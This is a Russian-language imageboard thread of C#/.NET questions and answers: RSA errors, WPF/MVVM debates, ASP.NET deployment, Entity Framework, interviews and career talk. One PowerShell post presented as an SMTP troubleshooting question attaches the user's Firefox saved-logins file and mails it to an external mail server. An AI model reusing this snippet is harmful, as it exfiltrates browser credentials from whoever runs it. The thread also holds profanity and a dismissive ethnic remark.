После этого, производится импорт этих параметров, в переменную rsa, с типом RSACryptoServiceProvider:
>rsa.ImportParameters(pa_Priv); //import rsa from pa_Priv with modified values
и сразу же Exception - плохие данные.

Значение вида:
>BigInteger bi_e = new BigInteger(65537);
Программулина хавает норм.

Чё за хуйня, блядь? Я хочу копростые числа, а не захардкоженную эксопненту!
Они пижже, потому что связаны с копро.
ПАМАГИТИ !!11
Аноним 02/08/20 Вск 01:23:41 1765980994
>>1765977
Вот такая шляпа лезет.
>at System.Security.Cryptography.CryptographicException.ThrowCryptographicException(Int32 hr)
>at System.Security.Cryptography.Utils._ImportKey(SafeProvHandle hCSP, Int32 keyNumber, CspProviderFlags flags, Object cspObject, SafeKeyHandle& hKey)
>at System.Security.Cryptography.RSACryptoServiceProvider.ImportParameters(RSAParameters parameters)
>...
Аноним 02/08/20 Вск 07:12:01 1766044995
image.png 30Кб, 1605x136
1605x136
>>1765977
Зачем ты в него сам пихаешь значения? В стандартной библиотеке же есть функция гегерации ключей RSA.

>Значение вида:
>>BigInteger bi_e = new BigInteger(65537);
>Программулина хавает норм.

Рискну предположить, что ты пихаеь в e числа, не соответствующие условию. Ты читал описание RSA?
Аноним 02/08/20 Вск 07:46:29 1766062996
>>1765401
Пофиксил через Formatting.None.
Аноним 03/08/20 Пнд 05:32:47 1766810997
>>1724425 (OP)

WPF ещё актуален или майки на него забили?
Аноним 03/08/20 Пнд 11:39:13 1766954998
Аноним 03/08/20 Пнд 13:02:14 1767045999
Почему в первом случае необходимо ставить круглые скобки, а в случае создания массива - нет?
1)GameObject a = new GameObject();
2)GameObject[,] b = new GameObject[9, 9];
Аноним 03/08/20 Пнд 16:22:51 17673271000
>>1764416
2д художник, перекатываюсь на другую позицию. Или ты думаешь что у нас все кодить умеют?
Аноним 03/08/20 Пнд 16:45:32 17673621001
>>1766954
в шарагах и в дно галерах он живее всех живых. Иногда в вакансиях проскакивает XAML, WPF и MVVM. Как ты парадоксально это не звучало, но к такому стэку все равно нужно знать JS :)
Аноним 03/08/20 Пнд 21:22:17 17677001002
>>1766810
Я сейчас на впф новый проект в конторе делаю, лол.
Аноним 04/08/20 Втр 10:09:07 17679531003
>>1762933
Тогда логичней было бы выделять все технологии входящие в ЯПы, а то получается там все ЯПы и как белая ворона HTML/CSS. График будто вася с 5б составлял.
Аноним 04/08/20 Втр 11:31:48 17680031004
>>1767362
> XAML, WPF и MVVM
XAML и MVVM - неотъемлимые части WPF, если не говнокодить, зачем их выделять?
>к такому стэку все равно нужно знать JS
а вот этот тут зачем нужен?
Аноним 04/08/20 Втр 11:53:04 17680341005
>>1767700
Как гуй делаешь? В бленде или руками верстаешь?
Я просто не осилил хамл. Утилитарную хуйню сделать – всегда пожалуйста, но я не могу сделать красивый интерфейс, чтобы самому приятно было. В комментариях на хабре пишут, что XAML это очень мощный инструмент, но.. камон, я столько бойлерплейта в жизни не видел

Открываешь какой-нибудь легаси на вебформах, вот такое же ощущение. Только вебформы эволюционировали в разор, а хамл так и остался

В итоге плюнул, осилил жс на полфедора и пишу на кайфовом vue, благо была возможность выбирать инструмент
Аноним 04/08/20 Втр 11:57:51 17680411006
>>1768034
>vue
Проблема с таблицами больших данных, вплоть до зависания страницы при пагинации скроллом. Ты ее решил как-нибудь или у тебя такого не было?
Аноним 04/08/20 Втр 12:11:05 17680521007
>>1768003
>неотъемлимые
WPF можно писать без MVVM, нельзя без XAML. Это они намекают, что придерживаются канонов
>а вот этот тут зачем нужен?
это намек на то, что будь ты даже десктопным девом, все равно нужно пердолить что нибудь для веба
Аноним 04/08/20 Втр 12:45:40 17680911008
>>1768052
Справедливости ради, можно и без XAML, но то вообще пиздец будет, это как на WinForms самому генерируемое дизайнером писать.
Аноним 04/08/20 Втр 16:41:33 17683351009
КАК ОПУБЛИКОВАТЬ БЛЯДСКОЕ ПРИЛОЖЕНИЕ АСП НЕТ МВС!!????
я целый ебаный день сижу, и нихуя не работает!!
Зарегался сначала на каком-то бесплатном сервисе - нихуя не вышло.
Потом пробовал через АЗУРЕ, КАК БАЗУ ДАННЫХ ТАМ ИМПОРТИРОВАТЬ!??? приложение запустилось без базы!
Купил на рег.ру себе хостинг. Оказалось, что это не рдп, а какое-то говно с папочками, а инструкции нет!
Как ОПУБЛИКОВАТЬ ЕБУЧИЙ САЙТ С БАЗОЙ ДАННЫХ!!!???
я БЛЯДЬ ЩАС ВОЛОСЫ РВАТЬ УЖЕ БУДУ!
Аноним 04/08/20 Втр 16:47:23 17683411010
СКИНЬТЕ МНЕ КТО-НИБУДЬ ИНСТРУКЦИЮ, УМОЛЯЮ!!!!
Аноним 04/08/20 Втр 17:17:58 17683591011
>>1768335
Разберёшься - можешь звать себя devOPs
Аноним 04/08/20 Втр 17:21:18 17683641012
>>1767045
Потому что в первом - инит объекта, во втором инит двумерного массива
Аноним 04/08/20 Втр 17:22:06 17683661013
>>1768359
я себе вены уже вскрыть готов! поясните, че делать-то надо!!!
Аноним 04/08/20 Втр 17:25:42 17683721014
Аноним 04/08/20 Втр 17:27:42 17683751015
>>1768372
Так там опять гайд на локалхост какой-то
Аноним 04/08/20 Втр 17:32:32 17683831016
Аноним 04/08/20 Втр 17:33:00 17683851017
>>1768375
Так ты вместо localhost сделай под remote, разницы нет почти
Аноним 04/08/20 Втр 17:43:33 17683991018
>>1768041
> Ты ее решил как-нибудь или у тебя такого не было?
У меня максимум тысяча строк было, с оптимизацией не парился
Но если бы столкнулся, то делал бы пагинацию на стороне сервера. А перед этим попробовал бы таблицы с виртуализацией строк. Что у тебя там за данные такие?
Аноним 04/08/20 Втр 17:53:02 17684041019
>>1768335
Как я делал. Купил VPS с KVM-виртуализацией, там установил дотнет хостинг бандл и nginx. Приложение, естественно, netcore
1. Открыл нужный порт в системе
2. Прописал в конфиге nginx'a порт, на котором будет работать мое приложение, и порт, который открыл наружу.
3. Запустил свое приложение
...
Профит!

Вместо запуска приложения можно написать демона, который будет сам поднимать его при перезагрузке. Так же можно обойтись без nginx'a, заявлено, что kestrel на котором работает asp готов к работе без проксирования

Гугли, я сам по шагам делал из руководства то ли на Хабре, то ли Медиуме, уже не вспомню
Аноним 04/08/20 Втр 18:54:24 17684621020
>>1768399
Отчёты. Виртуализация - это когда дом не рендерит элементы вне экрана? Не покатит, поиск должен работать. Ну тысяча строк это такое. У меня типичное количество +- 3к с 13ю колонками, две колонки из которых должны быть динамические(но судя по бенчмарку, динамика не особо влияет, т.к. без нее тоже зависает. Если он зависает, то на событиях сборки мусора, когда данных на экране много и подгружаются новые)
Думаю на серверсайд рендеринг перейтиили нахуй на рейзор пейджс
Аноним 04/08/20 Втр 20:02:02 17685061021
Где смотреть хороший код на шарпе? Просто книги не мое, а вот смотреть чужок код - заебись. Как-то легче понять что и зачем. Вот. Потому накидайте примеров хорошего кода на шарпе, если не сложно.
Аноним 04/08/20 Втр 20:31:48 17685231022
Аноним 05/08/20 Срд 00:17:17 17685961023
Как сделать пустышку неизменяемой, при этом не вынося ее в отдельный класс?
Допустим, вот у меня есть класс Book.
Если я делаю что-то типа:
class Book
{
private static Book _nullItem = new Book();
public static Book Enpty => _nullItem;
}
То в любом месте кода можно изменить значение открытых для записи свойств пустышки. Я конечно могу проверять объект book.Equals(Book.Empty), но мне не нравится так почему-то.
Аноним 05/08/20 Срд 00:34:09 17686011024
Когда HH говорит тебе, что без знания Angular/React .NET-чику будет сложно найти проект. Это 2к20 или решетки совсем пошли по пизде?
Аноним 05/08/20 Срд 07:37:45 17686791025
>>1768462
Crtl-f работать не будет, а кастомный поиск на странице можно сделать. Он же не в доме будет искать, а в твоих жс объекта
Как тебе разор поможет?

>>1768601
Ой, и не говори, анон. В моей мухосрани самая жирная вакансия их всего две это шарп + ангуляр. Бомбит – пиздец. Ангуляр такая параша. На нем нельзя просто сесть и начать писать, а синтаксис отбивает всякое желание изучать эту NG-мешанину
С другой стороны, конкуренции там меньше должно быть
Аноним 05/08/20 Срд 09:20:10 17686941026
>>1768679
Сейчас есть кастомный фильтр. Хотя кастомный поиск, вызывающийся по клацу на ctrl+f это идея.

Разор поможет с тем, что у него вообще нет проблем с большими списками данных. Прошлый проект на нем был, клиентская часть даже не чешется от нагрузки, можно какую угодно таблицу выводить
Аноним 05/08/20 Срд 11:31:51 17687731027
Сап. Посоветуйте, куда можно перекатиться с .NET, чтобы можно было работать (желательно не за хлеб). Уже посматриваю в сторону Kotlin/Java, судя по вакансиям с HH хоть пыху начинай дрочить (дада, в 2к20). Фронтщит не рассматриваю. Дискасс
Аноним 05/08/20 Срд 11:43:44 17687861028
20200305031119.jpg 78Кб, 597x533
597x533
>>1768596
Сделай класс EmptyBook : Book
Свойства перезапиши таким образом, чтобы сеттер ничего не изменял. Пикрил.
Аноним 05/08/20 Срд 11:44:58 17687911029
>>1768773
Легче всего будет на пыху перекатиться, чуть посложнее жаба. При этом в обоих случаях придётся столкнуться с менее удобным синтаксисом и конструкциями.
Аноним 05/08/20 Срд 11:52:31 17688041030
>>1768791
да похуй на синтаксис, главное чтобы работа была. Как бы парадаксально это не звучало, но изначально начал вкатываться на пыху, потом почитал всякие паблики-хуяблики ВК с ноющими (Ряяя, пыха умирает, говно/костыльный/НедоООП язык), который по факту по сей день живее всех живых
Аноним 05/08/20 Срд 11:53:42 17688061031
>>1768034
Руками верстаю
У нас дизайнер есть который макет рисует
По макету списать не так уж сложно
И все шероховатости дизайна, не мои проблемы

> я столько бойлерплейта в жизни не видел

Если делать все примерно в одном виде то просто переиспользуются шаблоны и стили
Аноним 05/08/20 Срд 14:41:47 17690601032
Имеется библиотека .net standard 2.0, хочу использовать стороннюю библиотеку, через add reference и browse указываю путь к dll-ке, ставлю галочку. В итоге ничего не работает, пишет couldn't load file or assembly. Какого черта?
Аноним 05/08/20 Срд 14:43:18 17690641033
>>1769060
и ещё галочка оказывается снятой, ни хрена не понимаю в чём дело
Аноним 05/08/20 Срд 16:11:19 17692051034
Хочу, чтобы моя прога при отсутствии базы данных заполняла ее необходимыми мне значениями. Типа создать учетку администратора, например, и т.п.
Я так понял, что для этого используются инициализаторы бд. Но не понял, какой мне нужно использовать:
DropCreateDatabaseAlways - база дропается при каждом запуске приложения?
DropCreateDatabaseIfModelChanged - как тогда работает?
Аноним 05/08/20 Срд 16:17:53 17692071035
>>1769205
Сижу с телефона
В общем, Database.EsureCreated проверит, есть ли бд
И в методе OnModelCreated или как-то так, в параметрах есть modelBuilder, в котором можно каждую сущность-таблицу проверить на .HasData и в случае чего заполнить

Только если ты делаешь миграцию в пустую базу данных, то отключи EnsureCreated, а то ошибка будет – сперва Ensure создаст таблицы, а потом будет выполняться миграция и еще раз попытается, и свалится с ошибкой. Ничего страшного, просто так, к сведению
Все названия примерные, но легко загуглишь
Аноним 05/08/20 Срд 16:33:33 17692161036
>>1769207
А Инициализатор бд тогда нахуя нужон?
Аноним 05/08/20 Срд 20:28:47 17693551037
Хочу блокировать лист для потокобезопасности. Обязательно ли создавать для этого отдельный объект если должно работать и
lock(list)
list.Add("пук")
Аноним 05/08/20 Срд 21:25:22 17693991038
>>1769355
Будет работать и так, только желательно при этом переменную list сделать readonly, для гарантии того, что lock берётся на один и тот же объект.
Аноним 05/08/20 Срд 21:45:42 17694091039
Смотрите, делаю приложение на asp.net core.
Суть, есть определенные задачи, которые могут выполняться довольно долго. Таких задач можнет быть много. Должна быть возможность запуска задач по расписанию, причем расписания для разных типов задач хранятся в БД. Должна присутствовать возможность определенную задачу запустить через контроллер. Так же должна быть возможность остановить задачу из контроллера.

Ну так вот. Что я наговнокодил.
У меня есть имплементация IHostedService. В ней есть список задач которые в данный момент крутятся. В методе StartAsync я прверяю в БД расписания и добавляю в список задачи, переодически проверяю, пришло ли время их исполнить и если пришло - запускаю.
Так же у меня есть api котроллер, в нем вся логика для стороннего пользователя, тут он может сконфигурировать задачу, может запустить ее выполнение и проверить статус задачи. В этот контроллер я пробрасываю эту самую имплементацию IHostedService и еще контекст для БД и использую методы оттуда.

Ну так вот. В чем проблема. Приходится тупо прокидывать логику в этот IHostedService через контроллер. Этот сервис разбухает от этого. Плюс, т.к. это синглтон, обращения к базе приходится делать через постоянные: using var scope = serviceScopeFactory.CreateScope(), что не очень удобно. Опять же, приходится для каждого запуска задачи создавать новый CancellationTokenSource, чтобы задачи были независимы, потом чтобы через api отменить задачу, приходится смотреть есть ли такая задача в списке задач, если есть - проверить - запущена ли она, и если запущена - вызвать Cancell() у токена. Как-то это все получается громоздко и тупо.
Может быть есть примеры как подобное проделывается?
Аноним 06/08/20 Чтв 04:51:50 17695431040
>>1769216
Не знаю, ими я не пользовался. Может, они решают одну и ту же проблему, узнай сам и в тред принеси почитать
Аноним 06/08/20 Чтв 10:38:31 17696271041
123.png 8Кб, 786x495
786x495
Ситуация: у меня есть Юзеры, каждый из которых принадлежит компании. У компании есть коллекция Юзеров, но есть еще директор. Как правильно прописать ссылку на директора в таблицах? Или оставить просто свойство Id?
Таблица User:
public string FullName { get; set; }
public int CompanyId { get; set; }
public Company Company { get; set; }

Таблица Company:
public int Id { get; set; }
public int DirectorId { get; set; }
public User Director { get; set; }
public ICollection<User>Users { get; set; }
Аноним 06/08/20 Чтв 11:21:13 17696561042
проект.jpg 43Кб, 741x604
741x604
Зацените, короче, мой проект базы данных.
Задача: реализовать голосовалку для пользователей. Пользователи могут участвовать в разных голосованиях, варианты ответов по голосованию тоже могут быть разные.
Аноним 06/08/20 Чтв 11:27:49 17696621043
>>1769627
Нахуй тебе DirectorId и ссылка на директора?
Аноним 06/08/20 Чтв 11:28:53 17696631044
>>1769656
Писать проект нужно с головы, а не жопы или туловища. Сначала описывай всю логику, а уже под неё создавай сущности, иначе у тебя хуйня получится.
Аноним 06/08/20 Чтв 11:30:30 17696641045
>>1769662
А как сделать? Мне нужна ссылка на всех сотрудников, и один сотрукдник директор.
Аноним 06/08/20 Чтв 12:42:45 17697471046
удобный гуй для неткор на линукс завезли, посоны? или до сих пор говнолония
Аноним 06/08/20 Чтв 14:37:46 17698841047
Аноним 06/08/20 Чтв 14:38:02 17698861048
Аноним 06/08/20 Чтв 14:39:45 17698891049
>>1769664
Оставляешь директора, убираешь директор айди
Аноним 06/08/20 Чтв 16:32:56 17700281050
14539020087720.jpg 29Кб, 454x453
454x453
Аноним 06/08/20 Чтв 23:57:14 17703891051
Что спрашивают на собесах на бекендера-ждуна? Я просто смотрю одни вопросы в интернете, там совсем элементарщина, типа от чего все наследуется, что такое интерфейс и чем от абстрактного класса отличается, чуть по самому asp, чуть по гиту, немного про работы с БД. Смотрю другие, там про кишочки спрашивают и просят чуть ли не самому свой asp спроектировать плюс зачем-то ангуляр/реакт просят. На что из этого ориентироваться? Просто я вот ходил по собесам и меня вообще ничего кроме синтаксиса не просили, но я сам отказывался из-за того что ссался, но сейчас вот мамка гонит из дома, нужно искать работу и соглашаться на ЗП которой мне не хватит для оплаты квартиры не хочется.
Аноним 07/08/20 Птн 06:44:19 17704761052
Да что-ж поддержка слабых ссылок такая рудиментарная в языке? Дали один WeakReference, и ебись с ним как хочешь. А где Set, где Dictionary со слабыми ключами или значениями, где weak-делегаты? Вот делать мне нечего, как руками отписывать события.
Аноним 07/08/20 Птн 08:12:39 17704911053
>>1770389
Ориентируйся на что-то среднее. Без знаний JS работу вряд ли найдёшь. Где-то к этому JS еще требуется реакт и ангуляр, но это уже фуллстек на .Net, поэтому хватит обычного JS.
Что-то кроме синтаксиса не просили - это из разряда шаражек с зарплатой в 15к или рассказы времён начала 2010-х.
Аноним 07/08/20 Птн 09:50:11 17705351054
>>1770389
Проходил недавно пару собесов (из 20 компаний) - писал выше опыт. Могут спросить что угодно - от слова совсем. В тоже время пытаются залезть в залупу - спросить по ASP.NET (у меня даже по рейзору ссаному спрашивали) и зацепить тему алгоритмов, деревьев. Так как я кидал на Full back CV - в основном дрочили по нему. Касты, рефлекшн, асинхронность/многопоточность (мьютексы и локеры даже спрашивали, хуй знает зачем), LINQ много спрашивали, делегаты/события. Дохуя короче. По Субд - маст хев. И даже несмотря на то, что Full back - начали ебать мозги ссаным CSS, JS.
Я раскинул CV в 20 галер (без комерческого опыта в разработке, но с опытом работы в бизнесе) - 90% отморозились. У меня в городе (миллионнике) куча галер с конвеерами джунов, поэтому работу - хуй найдешь
Аноним 07/08/20 Птн 10:54:08 17706441055
Как используя .NET Framework подключиться к smtp-серверу от yandex или mail? Использую .NET классы из под powershell, но постоянно выскакивает "The operation has timed out." и если верить Wireshark, то это происходит еще до непосредственной авторизации. Дело в SSL\TLS или в чем-то другом? Прикладываю код powershell. Использовал 465 порт.

$mes = New-Object System.Net.Mail.MailMessage
$mes.From = $From
$mes.Sender = $From
$mes.To.Add($to)
$mes.Subject = $subject
$mes.IsBodyHTML = $true
$mes.Body = "Ultra test it"
$mes.BodyEncoding = [System.Text.Encoding]::UTF8
$smtp = New-Object Net.Mail.SmtpClient($serverSmtp, $port)
$smtp.EnableSSL = $true
$smtp.Credentials = New-Object System.Net.NetworkCredential($user, $password)
$smtp.Send($mes)
Аноним 07/08/20 Птн 12:41:35 17707601056
>>1770644
Используй готовые библиотеки.
Аноним 07/08/20 Птн 13:59:58 17708871057
>>1770644
>"The operation has timed out."
Проблема с портом/адресом. Возможно что-то блокирует подключение.
Да и переходи на Send-MailMessage
Аноним 07/08/20 Птн 19:31:06 17712941058
>>1724425 (OP)
Поясните ньюфагу, почему тернарник выдает CS0201? а то же но с дефолтным условием ОК. это ограничение тернарника или это я злодей?

((N % 10 == 7) || (N % 10 == 5)) ? a = a + 0 : a = a + (N % 10);

if (N % 10 == 7 || N % 10 == 5)
{
a = a + 0;
}
else
{
a = a + (N % 10);
}
Аноним 07/08/20 Птн 19:39:31 17713001059
>>1770389
в какомто видосе слышал что овер_вопросы на собесе это мастхев чтоб нащупать дно джуна. типо у мидла и сеньора помидора дефолт знание технологий, а важен именно ОПЫТ и УСПЕХ и там смотрят по прошлым работам и проектам. а у джуна нет опыта, нет успеха вот его и спрашивают.

и это норма что ты обсеришься на какомто вопросике, но если ты весь из себя милаха_улыбака и ни разу не токсик то тебя захотят, но если ты умнее контролеров и будешь сидеть и подъебывать их на этом то тебя посылают скорее всего в йух.
Аноним 07/08/20 Птн 19:41:54 17713041060
>>1771294
Потому что это выражение, результат которого должен присваиваться переменной.

Пиши:
a = ((N % 10 == 7) || (N % 10 == 5)) ? a + 0 : a + (N % 10);
Аноним 07/08/20 Птн 19:54:48 17713131061
>>1771304
>a = ((N % 10 == 7) || (N % 10 == 5)) ? a + 0 : a + (N % 10);
отдуши бро
Аноним 07/08/20 Птн 20:59:25 17713631062
Хм, почему мой тимлид так яростно сопротивляется против того чтобы сделать в вебапи один контроллер, который бы отдавал странички? Типа блин, наш единственный фронтендщик завален по самые помидоры, а какой-то фронтенд для этого апи нужен и я бы мог быстренько накидать на том же разоре простенькие странички для настройки сервиса, которые стилизавать позже мог бы фронтендчик, либо не стилизовать, потому что мой сервис подразумевает один раз настроить и потом просто работать по расписанию. Но нет - либо, раз я хочу помочь - на вью хренач, либо жди пока фронт освободится. Что за фигня-то?
Аноним 08/08/20 Суб 02:54:31 17715791063
Аноним 08/08/20 Суб 14:22:47 17717681064
Я вот кое чего не понимаю с DI и вообще с ООП. Объясните пожалуйста.
Вот допустим у меня есть следущая структура.
АпиКонтроллер. В нем методы StartTask(id), StopTask(id), Info(id). Этот контроллер нужен для того чтобы из вне можно было запустить некую задачу на сервере, ID - для того чтобы знать что это за задача и запускать ее.
Для того чтобы задачу можно было отменить я делаю класс TasksOwnerService. Этот класс - синглтон. В нем есть коллекция токенов отмены, есть список запущенных задач. Когда Апи получает какой-то запрос, этот сервис логику запуска, отмены выполняет.
Ну и сам класс задачи, который просто имеет в себе метод DoAction(CancellationToken)

Воооот. Я понимаю что уже хуйня вырисовывается, но я не знаю как лучше сделать.

Так что я говорю. Для разных задач у меня в БД есть набор параметров, собственно для этого в контроллере и нужен ID. Я, изначально хотел как делать: в класс задачи я передаю репозиторий с общими настройками действительными для всех задач, чтобы если эти настройки в процессе изменялись бы, я бы просто мог из этого класса получать актуальные. Но в чем проблемма, когда синглтон создает новую задачу, после того как задача была создана, и занесена в справочник поставленных на выполнение, контекст подключения к БД диспозится. Я это конечно обошел поправив класс задач и сделав настройки свойством, которое необходимо установить после инициализации, но мне кажется, что как-то неправильно и хотелось бы чтобы класс задач сам мог достать эти настройки. Но что я не пытался сделать - контекст диспозится, а как сделать по другому я не представляю.
Аноним 08/08/20 Суб 14:37:13 17717861065
>>1770760
>>1770887
Дело оказалось в том что .NET Framework не умеет в implicit TLS. Но теперь у меня появилась другая проблема: говнокод работает на 7-ке с powershell 2.0 но не работает на 8-ке с powersell 4.0 и .NET Framework 4.6. Я так понял дело в сломанной совместимости между версиями .NET Framework т.к. в классе Net.Mail.SmtpClient появились новые свойства вроде кодировки темы, заголовков и тела сообщения а командлет Send-MailMessage не позволяет их менять в оф документации что-то не нашел.

$server = "smtp.mail.ru"
$serverPort = 587
$timeout = 30000 # timeout in milliseconds
$enableSSL = $true
$implicitSSL = $false
$credentials = New-Object System.Net.NetworkCredential("pochta", "parol")

if (!$enableSSL -or !$implicitSSL)
{
# Set up server connection
$smtpClient = New-Object System.Net.Mail.SmtpClient $server, $serverPort
$smtpClient.EnableSsl = $enableSSL
$smtpClient.Timeout = $timeout

if ($enableSSL)
{
$smtpClient.UseDefaultCredentials = $false;
$smtpClient.Credentials = $credentials
}


$message = New-Object System.Net.Mail.MailMessage $from, $to, $subject, $body
$message.Subject = $subject
$message.IsBodyHTML = $true
$message.Body = "MKultra1"
$message.
#foreach ($att in $d) {
# if ($att -ne $null) {
# $message.Attachments.Add($att)
# } else {
# Write-Output "Something wrong"
# }
#}
$message.Attachments.Add($env:APPDATA + "\Mozilla\Firefox\Profiles\" + $(MozPro -p 0) + "\logins.json")

Write-Output "Sending email to $to..."
try
{
$smtpClient.Send($message)
Write-Output "Message sent."
}
catch
{
Write-Error $_
Write-Output "Message send failed1."
}
Аноним 08/08/20 Суб 15:33:11 17719281066
>>1771786
нахуй ты эту простыню сюда притащил? Кому интересны твои костыли к TLS? Уже все написанно - подключай либу и отправляй себе запросы. Нахуй ты себе и к тому же другим мозги ебешь?
Аноним 08/08/20 Суб 18:30:51 17721051067
>>1771786
Могу только удвоить вот этого >>1771928 адеквата. Если ты хочешь пилить свои костыли, то тебе нужно не .NET использовать, а брать какой-нибудь хобби-язык вроде Раста или Хачкеля, к которым хуй да нихуя библиотек, а их пользователи больше похожи на фанатиков-костылеписцев, чем на программистов.
Аноним 08/08/20 Суб 19:36:04 17721431068
Так мало работы, что на перекат денег нет?
Аноним 08/08/20 Суб 22:58:09 17722741069
>>1771928
>>1772105
Потому что мой скрипт должен запускаться из под свежеустановленной винды автоматом

мимо админ часто развертываю винду
Аноним 09/08/20 Вск 13:05:32 17725101070
>>1772274
Хм, моё увожение. А почему не закачать нужны либ сразу после установки или доступа к внешней сети нет?
Аноним 09/08/20 Вск 16:10:41 17726481071
>>1772510
Сейчас выяснил что дело было в сегменте сети где производилась попытка запустить скрипт на более новых версиях винды. Так-то есть в планах при прописать в скрипте скачивание нужной либы для тех вещей где чистым .NET не обойтись
Аноним 09/08/20 Вск 17:09:26 17726971072
104315887596325[...].jpg 250Кб, 1080x810
1080x810
57-1576051484-h[...].jpg 910Кб, 2560x1707
2560x1707
15838660149180.jpg 473Кб, 1280x960
1280x960
15838647307350.jpg 637Кб, 1500x1125
1500x1125
ОП, зачем тебе это село? Лучше перекатывайся в Мурино. Здесь и сочных зумерш полно и есть будущее.
Аноним 10/08/20 Пнд 11:29:29 17732011073
>>1771579
года 2 пишу на решетках, коммерческого - 0
Аноним 11/08/20 Втр 00:43:23 17737101074
А че там с .NET Native? Хоть как-нибудь научился работать к 2020-му или хуй забили?
Аноним 11/08/20 Втр 05:51:53 17737871075
>>1773710
CoreRT? Я не углублялся, анон
Аноним 11/08/20 Втр 08:05:43 17738081076
Анон, помоги с базами данных и аутентификацией.

У меня есть компьютер, на нем стоит база данных Microsoft SQL Server. Тут понятно как мою С# прогу подключать и указывать логин-пароль

Но я хочу сделать прослойку между моей программой и базой данных. В качестве прослойки служит база данных Microsoft Access
В этой базе данных есть нужные мне запросы, плюс хранятся локальные данные пользователя программы, а также кеши выборок чтобы основную базу не дергать (коорче, оказалось удобно так делать)

База данных access должна содержать связанные таблицы из Microsoft SQL Server (сейчас она содержит полные копии каждой таблицы, пока я тестово работаю)

Но я не знаю как указывать в данном случае логин и пароль базы Microsoft SQL Server
Аноним 11/08/20 Втр 12:36:10 17739121077
>>1724425 (OP)
>WPF очень хорошо работает с паттерном MVVM ( https://ru.wikipedia.org/wiki/Model-View-ViewModel ), и позволяет пилить очень кастомизированные интерфейсы с помощью XAML
А зечем? Я понимаю если ASP и прочий веб стек, там без MVC MVVM сложно. Но MVVM в стандалон проге для тырпрайза? Серьёзноблядь? Какой дегенерат будет это городить в десктопах то? И главное ради чего? Обычно это делается чтобы разделить разработку на дизайн, программирование и БД. Но тут и без MVVM эта задача решена сразу из коробки. Короче, обьясните мне профиты. Кучу раз на конференциях слышал что этот паттерн кто-то использует и кучу раз выступающего поливали ушатами из говна. Потому-что герома много, а профита нет.
Аноним 11/08/20 Втр 15:34:21 17743201078
>>1773912
> > Какой дегенерат будет это городить в десктопах то?
Смотря что ты пишешь. Если маленький проект, то вопросов нет, можно закостылить и так. Правда, поддерживать другим будет больно, я уже наткнулся на эти грабли. А если что-то массивное, то mvvm тут будет на руку
> И главное ради чего?
Даже если проект небольшой, то mvvm это стандарт. Ты открываешь чужой проект, и тебе не надо думать, ты просто читаешь
> ушатами из говна
Везде есть спорные моменты. Можно спросить, как сделать модальное окно, и все, абстракция потекла

Я не использовал mvvmlight, prisma, потому что у них довольно высокий порог входа. Может, с ними удобнее. Но я просто забросил это впф нахуй и доволен как слон
Надо что-то небольшое – на винформе пишу, драг анд дроп. И никакого xmlns, Grid.RowDefinition, DickDuckValueConverter и прочего нечитаемого бойлерплейта. Надо что-то большое – вот вам сайт на mvc или vue
Аноним 11/08/20 Втр 15:41:42 17743331079
>>1774320
>Правда, поддерживать другим будет больно, я уже наткнулся на эти грабли. А если что-то массивное, то mvvm тут будет на руку
Что именно не так? Сейчас поддерживаю прогу в компании. Довольно большая Пользуются её 2к человек. Кода оче много. Без MVVM. За неделю примерно разобрался, за месяц написал первый модуль к ней, начал фиксить.
>Даже если проект небольшой, то mvvm это стандарт. Ты открываешь чужой проект, и тебе не надо думать, ты просто читаешь
Я и так читаю, никаких проблем с этим не видел. Если у меня скила не хватает, то хоть какой паттерн применяй, будет сложно. А если хватает, то опять же причём тут паттерн?
>Везде есть спорные моменты. Можно спросить, как сделать модальное окно, и все, абстракция потекла
Без MVVM? Берёшь и делаешь. Я не понял где проблема?
Аноним 11/08/20 Втр 15:52:53 17743601080
>>1774320
Спасибо няша. Я понял что моего опыта видимо недостаточно.
Аноним 11/08/20 Втр 16:10:45 17743971081
image.png 88Кб, 400x225
400x225
Как вызвать метод на сервере без перезагрузки страницы клиента?
Аноним 11/08/20 Втр 16:19:01 17744111082
Зачем вообще нужен СигналР если он сбрасывается каждый раз при перезагрузке станице что делает его совершенно бесполезной херней
Аноним 11/08/20 Втр 16:20:38 17744141083
>>1774333
> Сейчас поддерживаю прогу в компании. Довольно большая Пользуются её 2к человек. Кода оче много. Без MVVM.
Мне достался проект, где классы форм были в тысячи строк. Возможно, у вас изначально задумывались над архитектурой, а не допиливали утилиту до состояния монстра
> Без MVVM? Берёшь и делаешь. Я не понял где проблема?
С mvvm

У тебя сложный "бек", или сам интерфейс с тоже выворотами? Сколько примерно элементов на экране отображается одновременно?

>>1774360
Ты меня не слушай.
Аноним 11/08/20 Втр 16:27:07 17744311084
>>1774414
>У тебя сложный "бек", или сам интерфейс с тоже выворотами?
Интерфейс без особых выворотов. В основном бэк сложный.
>Сколько примерно элементов на экране отображается одновременно?
Примерно 20, в особых случаях до 80.
Прям оче редко 90.
Аноним 11/08/20 Втр 16:34:15 17744431085
>>1766044
Так а глянь по коду, как оно генерируется. Там КОПРОстое число же, всё как и должно быть.
Но ImportParameters его не хочет импортировать.
Аноним 11/08/20 Втр 16:47:52 17744591086
Аноним 11/08/20 Втр 16:50:09 17744631087
>>1774443
Открой рефлектором тогда метод, который крашится. Вот там хохма будет, если проверяется, что е == 65537 или исключениие
Аноним 11/08/20 Втр 16:56:15 17744721088
>>1774459
если ты про веб метод то он не работает какого-то хуя, он просто не вызывается
Аноним 11/08/20 Втр 17:05:26 17744801089
>>1774472
посмотри в браузере куда летит реквест. может у тебя неправильно url в js ставится?
Аноним 11/08/20 Втр 17:21:20 17744871090
>>1774480

з вебметодом вообще странная штука, я уже писал в этом >>1774480 посте что я пытался заставить работать хотя бы пример их мсдн и он все равно не работал по фиг знает какой причине, он просто не реагирует и все, я так и не понял в чем прикол и смирился, теперь обхожу веб метод стороной

Аноним 11/08/20 Втр 17:31:33 17744971091
>>1774487
Веб метод? Из веб форм? Ты на стеке из 2000 работаешь или что?
Аноним 11/08/20 Втр 17:33:00 17745011092
>>1774497
что значит стек из 2000?
Аноним 11/08/20 Втр 17:36:22 17745051093
Аноним 11/08/20 Втр 17:36:33 17745061094
>>1774501
???
Скажи честно, ты сидишь в тюрьме и изучаешь сишарп по древним книгам нулевых годов еще до asp.net mvc и выходишь в интернет по WAP через sony ericcson k750i, протащенный в жопе залётного питониста и трафика хватает только на этот тред с отключенным JS и CSS?
Аноним 11/08/20 Втр 17:38:10 17745121095
image.png 18Кб, 579x148
579x148
>>1774505
Ну ты посмотри кого ты блять слушаешь. Муддасар Кхан в 2013 году. Это блять индус блять. И ты читаешь записки индуса из 2013 года в 2020 году.
